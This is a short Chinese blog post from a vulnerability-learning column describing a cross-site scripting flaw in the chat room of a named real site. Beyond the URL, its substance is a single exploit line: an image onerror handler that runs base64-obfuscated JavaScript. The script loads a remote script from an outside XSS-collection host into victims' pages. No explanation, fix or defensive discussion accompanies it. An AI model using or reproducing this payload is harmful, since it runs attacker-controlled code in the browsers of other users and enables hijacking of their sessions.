【漏洞学习】DVP-2018-01681 (聊天室XSS)

原创于 2019-01-16 09:56:10 发布 · 222 阅读

0 ·

CC 4.0 BY-SA版权

DVP漏洞案例学习专栏收录该内容

25 篇文章

订阅专栏

本文详细分析了一个存在于dew.one聊天室中的安全漏洞。通过利用该漏洞，攻击者可能执行恶意代码，对用户造成威胁。文章提供了漏洞的具体URL，并展示了如何通过一段精心构造的代码触发此漏洞。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

漏洞URL：https://dew.one/chat/room

简要描述：

漏洞证明

漏洞利用代码：

<img src=x onerror=eval(atob('cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPSdodHRwczovL3hzc3B0LmNvbS95V0c4MGw/JytNYXRoLnJhbmRvbSgp'))>